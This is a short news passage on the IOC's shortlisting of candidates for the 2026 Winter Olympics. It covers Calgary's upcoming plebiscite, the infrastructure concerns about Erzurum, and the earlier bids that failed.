The proposal by the IOC's executive board followed recommendations by a working group assessing the potential candidates.

Calgary, which hosted the Winter Olympics in 1988, has yet to decide whether it wants to host another Games. A plebiscite is scheduled for Nov. 13 asking Calgarians if they want the Games again.

IOC vice-president Juan-Antonio Samaranch Jr. says telecommunications, transport and airports were "a little challenging" for Erzurum.

Erzurum, in eastern Turkey, had also considered using facilities and venues in Russia.

Bids from Sion (Switzerland), Innsbruck (Austria) and Sapporo (Japan) had also previously failed.

The IOC's 2026 hosting vote is scheduled for next September.

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